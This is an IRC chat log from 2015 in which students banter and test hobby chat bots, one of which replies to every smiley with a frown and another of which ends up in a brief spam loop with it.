[2015-03-26T15:45:36-0400] <z3t> ehm
[2015-03-26T15:45:57-0400] <z3t> that's past your graduation year
[2015-03-26T15:50:15-0400] <JacobEdelman> z3t: wait, are you going to college now?
[2015-03-26T15:50:47-0400] <apothy> z3t: is a junior, lol
[2015-03-26T15:50:55-0400] <apothy> JacobEdelman: I think you meant zrl :P
[2015-03-26T15:51:07-0400] <JacobEdelman> oh wait
[2015-03-26T15:51:10-0400] <JacobEdelman> yeah, confusion
[2015-03-26T15:51:17-0400] <JacobEdelman> zrl: are you in college?
[2015-03-26T15:51:26-0400] <zrl> nope--working on https://hackedu.us
[2015-03-26T15:51:33-0400] <JacobEdelman> ah, thats what I thought
[2015-03-26T15:51:38-0400] <JacobEdelman> your educational status always confused me
[2015-03-26T15:52:02-0400] <JacobEdelman> I knew you mentioned you moved out to california or something to work on it, but you seemed too young
[2015-03-26T15:52:05-0400] <JacobEdelman> so this explains it
[2015-03-26T15:52:14-0400] <zrl> moved up from la to sf :p
[2015-03-26T15:52:32-0400] <JacobEdelman> ah... well, close enough
[2015-03-26T15:52:32-0400] <zrl> it's been interesting living on my own as a minor. ex. i'm pretty sure i illegally opened a bank account yesterday.
[2015-03-26T15:52:41-0400] <JacobEdelman> zrl: check my fb messages
[2015-03-26T15:52:47-0400] <JacobEdelman> zrl: lol
[2015-03-26T15:52:58-0400] <zrl> will try to have a chance to check facebook this weekend
[2015-03-26T15:53:02-0400] <JacobEdelman> are your parents supporting you?
[2015-03-26T15:53:03-0400] <zrl> been taking a hiatus of sorts from fb messenger
[2015-03-26T15:53:08-0400] <JacobEdelman> ah
[2015-03-26T15:53:08-0400] <zrl> nope, financially independent
[2015-03-26T15:53:18-0400] <JacobEdelman> wheres money coming from?
[2015-03-26T15:53:46-0400] <JacobEdelman> if thats not rude to ask
[2015-03-26T15:53:58-0400] <JacobEdelman> that came out sounding rude...
[2015-03-26T15:53:58-0400] • z3t: is curious too
[2015-03-26T15:58:43-0400] <JacobEdelman> and zrl disappears once again, into the mists from wence he came
[2015-03-26T15:58:54-0400] <zrl> sorry, doing emails haha
[2015-03-26T15:59:03-0400] <zrl> worked at a startup over the summer and have been living off of my savings since
[2015-03-26T15:59:09-0400] <JacobEdelman> what startup?
[2015-03-26T15:59:12-0400] <zrl> yo
[2015-03-26T15:59:16-0400] <JacobEdelman> ahh
[2015-03-26T15:59:19-0400] <zrl> led development there
[2015-03-26T15:59:19-0400] <JacobEdelman> that would explain it
[2015-03-26T15:59:24-0400] <JacobEdelman> ahhhh
[2015-03-26T15:59:28-0400] <JacobEdelman> that would really explain it
[2015-03-26T16:00:36-0400] <JacobEdelman> nice
[2015-03-26T16:00:49-0400] • JacobEdelman: is happy to have pdgn to keep his ego in check
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[2015-03-26T16:02:51-0400] <z3t> sadbot! :)
[2015-03-26T16:02:51-0400] <sadbot> :(
[2015-03-26T16:02:56-0400] <JacobEdelman> oh god
[2015-03-26T16:02:57-0400] <JacobEdelman> no
[2015-03-26T16:03:35-0400] <z3t> oh god yes
[2015-03-26T16:05:21-0400] <jwoglom> :) :)
[2015-03-26T16:05:21-0400] <sadbot> :(
[2015-03-26T16:05:30-0400] <jwoglom> : )
[2015-03-26T16:05:34-0400] <jwoglom> There.
[2015-03-26T16:06:40-0400] <z3t> :l
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[2015-03-26T16:10:01-0400] <z3t> which ones
[2015-03-26T16:10:05-0400] <z3t> is real :o
[2015-03-26T16:12:41-0400] <Hyper> :)
[2015-03-26T16:12:41-0400] <sadbot> :(
[2015-03-26T16:12:43-0400] <Hyper> :D
[2015-03-26T16:12:46-0400] <Hyper> me gusta
[2015-03-26T16:13:12-0400] <Hyper> JacobEdelman: I think cell death is a feature, not a bug
[2015-03-26T16:14:30-0400] <Tamini_> wait darn this bot is depressing
[2015-03-26T16:14:33-0400] <Tamini_> :(
[2015-03-26T16:14:42-0400] <z3t> :)
[2015-03-26T16:14:42-0400] <sadbot> :(
[2015-03-26T16:15:35-0400] <Tamini_> does this work? :)
[2015-03-26T16:15:36-0400] <sadbot> :(
[2015-03-26T16:15:40-0400] <Tamini_> no stahp
[2015-03-26T16:17:58-0400] <nezorg> z3 is now available under MIT!
[2015-03-26T16:17:59-0400] <nezorg> :O
[2015-03-26T16:18:22-0400] <apothy> Oh yeah I saw that in #pwning 
[2015-03-26T16:18:35-0400] <JacobEdelman> oh god
[2015-03-26T16:18:38-0400] <JacobEdelman> its so fast
[2015-03-26T16:18:46-0400] <JacobEdelman> ... this happens to me whenever I use digital ocean
[2015-03-26T16:18:52-0400] <JacobEdelman> such whiplash
[2015-03-26T16:19:07-0400] <grantwu> Whatis z3?
[2015-03-26T16:20:06-0400] <JacobEdelman> https://lmddgtfy.net/?q=z3
[2015-03-26T16:20:27-0400] <Tamini_> oh lord that's a thing
[2015-03-26T16:20:48-0400] <Tamini_> lmddgtfy
[2015-03-26T16:20:50-0400] <JacobEdelman> I didn't know if it was 
[2015-03-26T16:20:52-0400] <JacobEdelman> but then
[2015-03-26T16:21:01-0400] <JacobEdelman> https://lmddgtfy.net/?q=ddg%20it
[2015-03-26T16:21:17-0400] <JacobEdelman> oh wait
[2015-03-26T16:21:19-0400] <JacobEdelman> actually
[2015-03-26T16:21:25-0400] <JacobEdelman> https://lmddgtfy.net/?q=duckdcukgo%20it
[2015-03-26T16:21:58-0400] <z3t> you spelled duck wrong
[2015-03-26T16:22:05-0400] <z3t> :)
[2015-03-26T16:22:05-0400] <sadbot> :(
[2015-03-26T16:22:17-0400] <JacobEdelman> awe: hamelin will not compile
[2015-03-26T16:22:19-0400] <JacobEdelman> I hate you
[2015-03-26T16:22:20-0400] <JacobEdelman> :P
[2015-03-26T16:22:29-0400] <JacobEdelman> I downloaded the newest rust nightly
[2015-03-26T16:22:34-0400] <JacobEdelman> and the newest cargo
[2015-03-26T16:22:36-0400] <JacobEdelman> for nothing
[2015-03-26T16:22:42-0400] <JacobEdelman> back to using hardmath123s version
[2015-03-26T16:22:56-0400] <grantwu> Er... a BMW is available under MIT?
[2015-03-26T16:23:32-0400] <grantwu> http://z3.codeplex.com/ this?
[2015-03-26T16:23:57-0400] <z3t> lol grantwu
[2015-03-26T16:24:50-0400] <grantwu> https://github.com/Z3Prover/z3 hrm
[2015-03-26T16:26:02-0400] <grantwu> :)
[2015-03-26T16:26:03-0400] <sadbot> :(
[2015-03-26T16:26:04-0400] <grantwu> :)
[2015-03-26T16:26:04-0400] <sadbot> :(
[2015-03-26T16:26:08-0400] <grantwu> :) :) :)
[2015-03-26T16:26:08-0400] <sadbot> :(
[2015-03-26T16:26:10-0400] <grantwu> :D
[2015-03-26T16:26:13-0400] <grantwu> : )
[2015-03-26T16:26:17-0400] <grantwu> :-)
[2015-03-26T16:26:34-0400] <grantwu> Sadbot just doesn't like :).  Clearly he speaks for the noses.
[2015-03-26T16:26:34-0400] <sadbot> :(
[2015-03-26T16:26:38-0400] <grantwu> :')
[2015-03-26T16:26:41-0400] <grantwu> C:-)
[2015-03-26T16:26:43-0400] <grantwu> :0)
[2015-03-26T16:26:46-0400] <grantwu> :-)
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[2015-03-26T16:33:14-0400] <Tamini_> wow
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[2015-03-26T16:33:22-0400] <Tamini_> whats wrong with having a nose huh huh huh
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[2015-03-26T16:33:24-0400] <sadbot> :(
[2015-03-26T16:33:24-0400] <sadbot> :(
[2015-03-26T16:33:24-0400] <sadbot> :(
[2015-03-26T16:33:24-0400] <sadbot> :(
[2015-03-26T16:33:24-0400] <sadbot> :(
[2015-03-26T16:33:30-0400] <JacobEdelman> oooh
[2015-03-26T16:33:30-0400] <sadbot> :(
[2015-03-26T16:33:34-0400] <JacobEdelman> my bot if failing
[2015-03-26T16:33:35-0400] <sadbot> :(
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[2015-03-26T16:33:50-0400] <Tamini_> wat
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[2015-03-26T16:34:15-0400] <JacobEdelman> hello
[2015-03-26T16:34:17-0400] <JacobEdelman> weird
[2015-03-26T16:34:27-0400] <JacobEdelman> this fails
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[2015-03-26T16:34:53-0400] <z3t> my regex failed :l
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[2015-03-26T16:35:05-0400] <JacobEdelman> test
[2015-03-26T16:35:12-0400] <JacobEdelman> nope, hamelin fails
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[2015-03-26T16:35:44-0400] <z3t> JacobEdelman put it in another channel
[2015-03-26T16:35:48-0400] <JacobEdelman> fine
[2015-03-26T16:36:05-0400] <z3t> I test in #z3t
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[2015-03-26T16:37:36-0400] <z3t> :)
[2015-03-26T16:37:39-0400] <z3t> shit
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[2015-03-26T16:50:11-0400] <sadbot> :(
[2015-03-26T16:54:03-0400] <z3t> are you having fun sadbot?
[2015-03-26T16:54:04-0400] <sadbot> :(
[2015-03-26T17:15:21-0400] <Tamini_> wait is it still brokeb
[2015-03-26T17:15:25-0400] <Tamini_> broken*
[2015-03-26T17:17:28-0400] <z3t> i'd be happy if it was broken
[2015-03-26T17:17:28-0400] <sadbot> :(
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[2015-03-26T17:20:24-0400] <JacobEdelman> its here!
[2015-03-26T17:20:29-0400] <JacobEdelman> introduction: JacobBot
[2015-03-26T17:20:29-0400] <JacobBot> YOU SHALL NEVER SILENCE ME!!!!!!!!
[2015-03-26T17:20:33-0400] <JacobEdelman> wait, what?
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[2015-03-26T17:21:08-0400] <JacobEdelman> fixed
[2015-03-26T17:21:11-0400] <JacobEdelman> hello jacobbot
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[2015-03-26T17:21:34-0400] <JacobEdelman> welcome JacobBot
[2015-03-26T17:21:41-0400] <JacobEdelman> what is your purpose in life?
[2015-03-26T17:21:41-0400] <JacobBot> I think you meant: what is your porpoise in life?
[2015-03-26T17:21:47-0400] <JacobEdelman> ummm... fine
[2015-03-26T17:22:45-0400] <z3t> porpoise?
[2015-03-26T17:22:51-0400] <z3t> isn't that like a dolphin? :P
[2015-03-26T17:22:51-0400] <sadbot> :(
[2015-03-26T17:23:14-0400] <JacobEdelman> https://lmddgtfy.net/?q=porpoise
[2015-03-26T17:23:43-0400] <z3t> yup pretty much
[2015-03-26T17:27:30-0400] <z3t> bbl have fun with your bot JacobEdelman
[2015-03-26T17:27:30-0400] <sadbot> :(
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[2015-03-26T17:46:51-0400] <JacobEdelman> well, I got a bot
[2015-03-26T17:46:54-0400] <JacobEdelman> so I'm happy
[2015-03-26T17:55:51-0400] <Hyper> JacobEdelman: Did you get a bot, or did you BECOME a bot?
[2015-03-26T17:56:14-0400] • Hyper: continues to ask the important questions
[2015-03-26T17:58:45-0400] <JacobEdelman> hmm
[2015-03-26T17:58:48-0400] <JacobEdelman> I'm not sure
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[2015-03-26T18:06:32-0400] <JacobEdelman> updated
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[2015-03-26T18:06:36-0400] <JacobEdelman> or not
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[2015-03-26T18:07:10-0400] <JacobEdelman> updated
[2015-03-26T18:07:18-0400] <JacobEdelman> porpoise?
[2015-03-26T18:07:18-0400] <JacobBot> https://lmddgtfy.net/?q=porpoise
[2015-03-26T18:07:21-0400] <JacobEdelman> good
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[2015-03-26T18:32:17-0400] <Hyper> JacobEdelman: I approve of the ddg
[2015-03-26T18:32:18-0400] <Hyper> :)
[2015-03-26T18:34:12-0400] • Hyper: says, as he wears a google shirt
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[2015-03-26T19:10:11-0400] <sadbot> :(
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[2015-03-26T19:24:21-0400] <grantwu> alokpathy: Did you apply to the UCs?
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[2015-03-26T19:30:29-0400] <JacobEdelman> weee
[2015-03-26T19:30:32-0400] <JacobEdelman> hmmm
[2015-03-26T19:30:34-0400] <JacobEdelman> UCs?
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[2015-03-26T19:30:53-0400] <JacobEdelman> UCs?
[2015-03-26T19:30:53-0400] <JacobBot> https://lmddgtfy.net/?q=ucs
[2015-03-26T19:32:07-0400] <z3t> test?
[2015-03-26T19:32:07-0400] <JacobBot> https://lmddgtfy.net/?q=test
[2015-03-26T19:32:43-0400] <JacobEdelman> z3t?
[2015-03-26T19:32:49-0400] <JacobEdelman> ooops
[2015-03-26T19:32:53-0400] <JacobEdelman> not alphanumeric
[2015-03-26T19:32:55-0400] <JacobEdelman> I should change that
[2015-03-26T19:33:06-0400] <LittleBobbyTables> jacobliterallystupid?
[2015-03-26T19:33:06-0400] <JacobBot> https://lmddgtfy.net/?q=jacobliterallystupid
[2015-03-26T19:33:27-0400] <JacobBot> https://lmddgtfy.net/?q=msgs
[2015-03-26T19:33:30-0400] <JacobBot> https://lmddgtfy.net/?q=nope
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[2015-03-26T19:35:16-0400] <JacobEdelman> hmm
[2015-03-26T19:35:21-0400] <JacobEdelman> LittleBobbyTables: it does work for messages
[2015-03-26T19:35:24-0400] <JacobEdelman> lookey here
[2015-03-26T19:35:25-0400] <JacobEdelman> also
[2015-03-26T19:35:28-0400] <JacobEdelman> paper work bad
[2015-03-26T19:35:46-0400] <JacobEdelman> I have to submit 4 applications (all nearley identical) for taking princeton courses next year
[2015-03-26T19:35:51-0400] <JacobEdelman> they are all several pages long
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[2015-03-26T19:38:39-0400] <JacobEdelman> z3t: welcome back
[2015-03-26T19:38:52-0400] <JacobEdelman> long time no see
[2015-03-26T19:38:56-0400] <JacobEdelman> its been a whole 3 minutes
[2015-03-26T19:38:59-0400] <JacobEdelman> I missed you
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[2015-03-26T19:41:16-0400] <z3t> sh
[2015-03-26T19:41:33-0400] <z3t> I really need to get another vps...
[2015-03-26T19:42:31-0400] <JacobEdelman> ask awe is you can use his bouncer
[2015-03-26T19:42:42-0400] <JacobEdelman> its what alokpothy and tamini use
[2015-03-26T19:42:46-0400] <JacobEdelman> and Hyper
[2015-03-26T19:42:48-0400] <JacobEdelman> and maybe nezorg
[2015-03-26T19:42:52-0400] <JacobEdelman> and awe
[2015-03-26T19:43:00-0400] <JacobEdelman> also
[2015-03-26T19:43:05-0400] <JacobEdelman> z3t?
[2015-03-26T19:43:05-0400] <JacobBot> https://lmddgtfy.net/?q=z3t
[2015-03-26T19:43:10-0400] <JacobEdelman> good, it works now
[2015-03-26T19:43:28-0400] <nezorg> not me
[2015-03-26T19:43:28-0400] <nezorg> i have my own
[2015-03-26T19:43:31-0400] <JacobEdelman> ah
[2015-03-26T19:43:31-0400] <JacobBot> https://lmddgtfy.net/?q=pls
[2015-03-26T19:43:38-0400] <JacobEdelman> oh god
[2015-03-26T19:43:43-0400] <JacobBot> https://lmddgtfy.net/?q=lol
[2015-03-26T19:43:43-0400] <JacobEdelman> no stop priv msing it
[2015-03-26T19:43:49-0400] <JacobEdelman> you are horrible people
[2015-03-26T19:44:01-0400] <JacobBot> https://lmddgtfy.net/?q=mwahahahahaha
[2015-03-26T19:44:21-0400] <JacobBot> https://lmddgtfy.net/?q=asdf
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[2015-03-26T19:44:30-0400] <JacobEdelman> fixed
[2015-03-26T19:44:30-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:32-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:34-0400] <JacobEdelman> oops
[2015-03-26T19:44:34-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:34-0400] <z3t> chill
[2015-03-26T19:44:34-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:35-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:35-0400] <JacobEdelman> not fixed
[2015-03-26T19:44:35-0400] <JacobBot> I HATE YOU
[2015-03-26T19:44:36-0400] <z3t> chill
[2015-03-26T19:44:36-0400] <JacobBot> I HATE YOU
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[2015-03-26T19:44:36-0400] <z3t> fuck
[2015-03-26T19:44:37-0400] <z3t> AKFSJ;lasjd
[2015-03-26T19:44:38-0400] <Hyper> LOL
[2015-03-26T19:44:43-0400] <Hyper> LOL
[2015-03-26T19:44:44-0400] <z3t> so rude
[2015-03-26T19:44:57-0400] <z3t> JacobEdelman: TEST YOUR BOTS IN ANOTHER CHANNEL
[2015-03-26T19:45:01-0400] <Hyper> JacobEdelman: you've created a bot that hates everything, nice
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[2015-03-26T19:45:10-0400] <z3t> ?
[2015-03-26T19:45:11-0400] <JacobEdelman> its fixed
[2015-03-26T19:45:13-0400] <JacobEdelman> it works
[2015-03-26T19:45:16-0400] <z3t> ?
[2015-03-26T19:45:17-0400] <z3t> a?
[2015-03-26T19:45:21-0400] <z3t> does not work!
[2015-03-26T19:45:26-0400] <JacobEdelman> it was meant to only say that too people who priv messaged it
[2015-03-26T19:45:28-0400] <JacobEdelman> hello?
[2015-03-26T19:45:30-0400] <Hyper> Aaaa?
[2015-03-26T19:45:32-0400] <JacobEdelman> hmm... it failes
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[2015-03-26T19:45:35-0400] <z3t> jacob
[2015-03-26T19:45:37-0400] <z3t> TEST IT
[2015-03-26T19:45:37-0400] <z3t> IN
[2015-03-26T19:45:38-0400] <z3t> ANOTHER
[2015-03-26T19:45:39-0400] <z3t> FUCKING
[2015-03-26T19:45:40-0400] <z3t> CHANNEL
[2015-03-26T19:45:57-0400] <Hyper> ^^6
[2015-03-26T19:45:58-0400] <Hyper> ^^
[2015-03-26T19:45:59-0400] <Hyper> ^
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[2015-03-26T19:47:24-0400] <JacobEdelman> fine
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[2015-03-26T19:47:50-0400] <sadbot> :(
[2015-03-26T19:47:55-0400] <bob_twinkles> >_>
[2015-03-26T19:47:57-0400] <z3t> :D
[2015-03-26T19:47:57-0400] <sadbot> :(
[2015-03-26T19:51:19-0400] <Hyper> :)
[2015-03-26T19:51:19-0400] <sadbot> :(
[2015-03-26T19:51:22-0400] <Hyper> :*
[2015-03-26T19:51:25-0400] <Hyper> :(
[2015-03-26T19:51:25-0400] <bob_twinkles> D=
[2015-03-26T19:51:26-0400] <sadbot> :(
[2015-03-26T19:51:27-0400] <Hyper> :/
[2015-03-26T19:51:28-0400] <Hyper> :\
[2015-03-26T19:51:30-0400] <Hyper> :|
[2015-03-26T19:51:34-0400] <Hyper> :>
[2015-03-26T19:51:36-0400] <Hyper> :<
[2015-03-26T19:51:38-0400] <Hyper> :D
[2015-03-26T19:51:38-0400] <sadbot> :(
[2015-03-26T19:51:39-0400] <bob_twinkles> BD
[2015-03-26T19:51:41-0400] <sadbot> :(
[2015-03-26T19:51:45-0400] <bob_twinkles> nice
[2015-03-26T19:51:52-0400] <bob_twinkles> WORDS
[2015-03-26T19:51:54-0400] <Hyper> :]
[2015-03-26T19:51:55-0400] <sadbot> :(
[2015-03-26T19:51:57-0400] <bob_twinkles> WORD
[2015-03-26T19:51:59-0400] <sadbot> :(
[2015-03-26T19:52:01-0400] <bob_twinkles> heh
[2015-03-26T19:52:03-0400] <sadbot> :(
[2015-03-26T19:52:06-0400] <bob_twinkles> z3t: porblem ^
[2015-03-26T19:52:08-0400] <sadbot> :(
[2015-03-26T19:52:10-0400] <z3t> someone is PMing it
[2015-03-26T19:52:17-0400] <bob_twinkles> oh lol
[2015-03-26T19:52:17-0400] <sadbot> :(
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[2015-03-26T19:52:20-0400] <Hyper> lol
[2015-03-26T19:52:21-0400] <sadbot> :(
[2015-03-26T19:52:21-0400] <JacobEdelman> okay
[2015-03-26T19:52:21-0400] <JacobBot> Nobody ever expects the pdgish inquisition!
[2015-03-26T19:52:27-0400] <JacobEdelman> ...
[2015-03-26T19:52:29-0400] <JacobEdelman> that was random
[2015-03-26T19:52:31-0400] <Hyper> ffs it's back
[2015-03-26T19:52:34-0400] <JacobEdelman> I didn't exepct that
[2015-03-26T19:52:36-0400] <JacobEdelman> its fixed
[2015-03-26T19:52:37-0400] <Hyper> JacobBot: blerp?
[2015-03-26T19:52:37-0400] <JacobBot> https://lmddgtfy.net/?q=jacobbot%3A+blerp
[2015-03-26T19:52:42-0400] <Hyper> derp?
[2015-03-26T19:52:42-0400] <JacobBot> https://lmddgtfy.net/?q=derp
[2015-03-26T19:52:42-0400] <JacobEdelman> it won't responded to pms
[2015-03-26T19:52:44-0400] <Hyper> herp?
[2015-03-26T19:52:44-0400] <JacobBot> https://lmddgtfy.net/?q=herp
[2015-03-26T19:52:50-0400] <z3t> grantwu would you kindly not spam my bot
[2015-03-26T19:52:55-0400] <grantwu> :(
[2015-03-26T19:53:09-0400] <grantwu> JacobBot: MRAOW?
[2015-03-26T19:53:09-0400] <JacobBot> https://lmddgtfy.net/?q=jacobbot%3A+mraow
[2015-03-26T19:53:11-0400] <bob_twinkles> wait, so JacobBot tries to answer questions?
[2015-03-26T19:53:24-0400] <grantwu> JacobBot: What is one plus one?
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[2015-03-26T19:54:07-0400] <JacobEdelman> a quick update
[2015-03-26T19:54:14-0400] <bob_twinkles> does it work now?
[2015-03-26T19:54:14-0400] <JacobBot> Nobody ever expects the pdgish inquisition!
[2015-03-26T19:54:17-0400] <bob_twinkles> >_>\
[2015-03-26T19:54:36-0400] <bob_twinkles> JacobEdelman: what conditions is it supposed to trigger under?
[2015-03-26T19:54:37-0400] <JacobEdelman> and no, the question thing is so that when someone says some weird acronym or something
[2015-03-26T19:54:40-0400] <JacobEdelman> like FSSA
[2015-03-26T19:54:44-0400] <JacobEdelman> and someone replies
[2015-03-26T19:54:45-0400] <grantwu> FSM?
[2015-03-26T19:54:45-0400] <JacobBot> https://lmddgtfy.net/?q=fsm
[2015-03-26T19:54:47-0400] <JacobEdelman> FSSA?
[2015-03-26T19:54:47-0400] <JacobBot> https://lmddgtfy.net/?q=fssa
[2015-03-26T19:54:57-0400] <JacobEdelman> it will tell them to stop being lazy and to just ddg it
[2015-03-26T19:55:04-0400] <bob_twinkles> FFS?
[2015-03-26T19:55:04-0400] <JacobBot> https://lmddgtfy.net/?q=ffs
[2015-03-26T19:55:06-0400] <z3t> am I white?
[2015-03-26T19:55:10-0400] <z3t> aw :(
[2015-03-26T19:55:22-0400] <JacobEdelman> nope 
[2015-03-26T19:55:24-0400] <JacobEdelman> but 
[2015-03-26T19:55:28-0400] <z3t> sadbot do you think JacobBot is any fun?
[2015-03-26T19:55:29-0400] <sadbot> :(
[2015-03-26T19:55:29-0400] <JacobEdelman> I'm white?
[2015-03-26T19:55:29-0400] <JacobBot> https://lmddgtfy.net/?q=i%27m+white
[2015-03-26T19:55:31-0400] <JacobEdelman> works
[2015-03-26T19:55:56-0400] <z3t> Way to go JacobEdelman, you made sadbot unhappy.
[2015-03-26T19:55:56-0400] <sadbot> :(
[2015-03-26T19:56:07-0400] <JacobEdelman> I did?
[2015-03-26T19:56:08-0400] <JacobBot> https://lmddgtfy.net/?q=i+did
[2015-03-26T19:56:10-0400] <bob_twinkles> sadbot is always sad
[2015-03-26T19:56:11-0400] <JacobEdelman> :)
[2015-03-26T19:56:11-0400] <sadbot> :(
[2015-03-26T19:56:19-0400] <grantwu> :) :) :)
[2015-03-26T19:56:19-0400] <sadbot> :(
[2015-03-26T19:56:24-0400] <grantwu> :) :) :)
[2015-03-26T19:56:24-0400] <sadbot> :(
[2015-03-26T19:56:26-0400] <grantwu> :) :) :)
[2015-03-26T19:56:26-0400] <sadbot> :(
[2015-03-26T19:56:28-0400] <grantwu> :) :) :)
[2015-03-26T19:56:28-0400] <sadbot> :(
[2015-03-26T19:56:29-0400] <JacobEdelman> I'm so tempted to make my bot reply to :( with :)
[2015-03-26T19:56:29-0400] <z3t> Jacob your bot is going to actually get annoying real fast tbh
[2015-03-26T19:56:29-0400] <sadbot> :(
[2015-03-26T19:56:40-0400] <z3t> Jacob that will cause a loop in our bots
[2015-03-26T19:56:41-0400] <grantwu> JacobEdelman: do eet
[2015-03-26T19:56:41-0400] <JacobEdelman> z3t: umm.. not a hundreth as annoying as yours
[2015-03-26T19:56:43-0400] <z3t> that will be so fucking awesome
[2015-03-26T19:56:46-0400] <z3t> do it
[2015-03-26T19:56:51-0400] <bob_twinkles> RIP SNR
[2015-03-26T19:56:59-0400] <grantwu> They'll both get kicked off for flood control probs
[2015-03-26T19:57:03-0400] <bob_twinkles> assuming they both don't get kicked for flood ^
[2015-03-26T19:57:12-0400] <z3t> worth it
[2015-03-26T19:57:32-0400] <JacobEdelman> I'm gonna one up you z3t
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[2015-03-26T19:57:46-0400] <grantwu> :)
[2015-03-26T19:57:46-0400] <sadbot> :(
[2015-03-26T19:57:46-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <JacobBot> :)
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:47-0400] <sadbot> :(
[2015-03-26T19:57:48-0400] <sadbot> :(
[2015-03-26T19:57:48-0400] <JacobBot> :)
[2015-03-26T19:57:48-0400] <sadbot> :(
[2015-03-26T19:57:49-0400] <JacobBot> :)
[2015-03-26T19:57:49-0400] <sadbot> :(
[2015-03-26T19:57:50-0400] <JacobBot> :)
[2015-03-26T19:57:50-0400] <sadbot> :(
[2015-03-26T19:57:51-0400] <JacobBot> :)
[2015-03-26T19:57:51-0400] <sadbot> :(
[2015-03-26T19:57:52-0400] <JacobEdelman> exponential!
[2015-03-26T19:57:52-0400] <JacobBot> :)
[2015-03-26T19:57:52-0400] <sadbot> :(
[2015-03-26T19:57:53-0400] <JacobBot> :)
[2015-03-26T19:57:53-0400] <sadbot> :(
[2015-03-26T19:57:54-0400] <JacobBot> :)
[2015-03-26T19:57:54-0400] <sadbot> :(
[2015-03-26T19:57:55-0400] <JacobBot> :)
[2015-03-26T19:57:55-0400] <sadbot> :(
[2015-03-26T19:57:56-0400] <sadbot> :(
[2015-03-26T19:57:56-0400] <JacobBot> :)
[2015-03-26T19:57:57-0400] <JacobBot> :)
[2015-03-26T19:57:57-0400] <sadbot> :(
[2015-03-26T19:57:58-0400] <JacobBot> :)
[2015-03-26T19:57:58-0400] <sadbot> :(
[2015-03-26T19:57:59-0400] <JacobBot> :)
[2015-03-26T19:57:59-0400] <sadbot> :(
[2015-03-26T19:58:00-0400] <JacobEdelman> it says two :) for each one from sadbot
[2015-03-26T19:58:00-0400] <JacobBot> :)
[2015-03-26T19:58:00-0400] <sadbot> :(
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[2015-03-26T19:58:01-0400] <sadbot> :(
[2015-03-26T19:58:05-0400] <JacobEdelman> and killed
[2015-03-26T19:58:14-0400] <JacobEdelman> well, that was spammy
[2015-03-26T19:59:30-0400] <z3t> I just realized that 100% of my bot's lines are ":(" therefore I will win that statistic, in your face fwilson!
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[2015-03-26T19:59:59-0400] <sadbot> :(
[2015-03-26T20:00:23-0400] <fwilson> z3t: :(
[2015-03-26T20:00:33-0400] <z3t> fwilson: :)
[2015-03-26T20:00:33-0400] <sadbot> :(
[2015-03-26T20:00:40-0400] <fwilson> wait, bots are allowed in here?
[2015-03-26T20:00:42-0400] <fwilson> awesome
[2015-03-26T20:00:45-0400] <fwilson> i'm going to procrastinate on history homework then
[2015-03-26T20:00:52-0400] <z3t> uh
[2015-03-26T20:01:08-0400] <z3t> awe ban bots from any nicks starting with 'f' pls
[2015-03-26T20:01:08-0400] <fwilson> and write a bot
[2015-03-26T20:01:15-0400] <fwilson> wat
[2015-03-26T20:01:24-0400] <fwilson> sadbot: help
[2015-03-26T20:01:28-0400] <fwilson> !help
[2015-03-26T20:01:30-0400] <fwilson> :(
[2015-03-26T20:01:35-0400] <grantwu> :)
[2015-03-26T20:01:35-0400] <sadbot> :(
[2015-03-26T20:01:37-0400] <grantwu> :)
[2015-03-26T20:01:37-0400] <sadbot> :(
[2015-03-26T20:01:39-0400] <grantwu> :/
[2015-03-26T20:01:43-0400] <fwilson> :-)
[2015-03-26T20:01:43-0400] <sadbot> :(
[2015-03-26T20:01:45-0400] <z3t> help isn't fun for sadbot
[2015-03-26T20:01:45-0400] <sadbot> :(
[2015-03-26T20:01:47-0400] <grantwu> :))))))))
[2015-03-26T20:01:47-0400] <sadbot> :(
[2015-03-26T20:01:48-0400] <fwilson> :   )
[2015-03-26T20:01:50-0400] <fwilson> :=)
[2015-03-26T20:01:52-0400] <fwilson> =)
[2015-03-26T20:01:55-0400] <z3t> :-)
[2015-03-26T20:01:55-0400] <sadbot> :(
[2015-03-26T20:01:56-0400] <fwilson> =(
[2015-03-26T20:02:01-0400] <grantwu> =)
[2015-03-26T20:02:07-0400] <grantwu> :=)
[2015-03-26T20:02:10-0400] <LittleBobbyTables> ;c
[2015-03-26T20:03:18-0400] <bob_twinkles> -|:)
[2015-03-26T20:03:18-0400] <sadbot> :(
[2015-03-26T20:05:14-0400] <grantwu> s/:(/:)/g
[2015-03-26T20:05:14-0400] <sadbot> :(
[2015-03-26T20:05:33-0400] <z3t> wot
[2015-03-26T20:05:38-0400] <bob_twinkles> s/\(/)/g
[2015-03-26T20:07:19-0400] <grantwu> o/
[2015-03-26T20:08:09-0400] <Hyper> ;)
[2015-03-26T20:08:14-0400] <Hyper> ;]
[2015-03-26T20:08:16-0400] <Hyper> ;[
[2015-03-26T20:08:24-0400] <Hyper> ugh this bot is terrible
[2015-03-26T20:08:41-0400] <Hyper> 10/10, would not smile again
[2015-03-26T20:09:23-0400] <z3t> you must not be happy Hyper
[2015-03-26T20:09:23-0400] <sadbot> :(
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[2015-03-26T20:10:26-0400] <JacobEdelman> well
[2015-03-26T20:10:28-0400] <JacobEdelman> sadbot is bad
[2015-03-26T20:10:31-0400] <alokpathy> JacobEdelman: Dear god now
[2015-03-26T20:10:33-0400] <alokpathy> no*
[2015-03-26T20:10:34-0400] <JacobEdelman> what
[2015-03-26T20:10:37-0400] <JacobEdelman> mine is nowhere near as bad
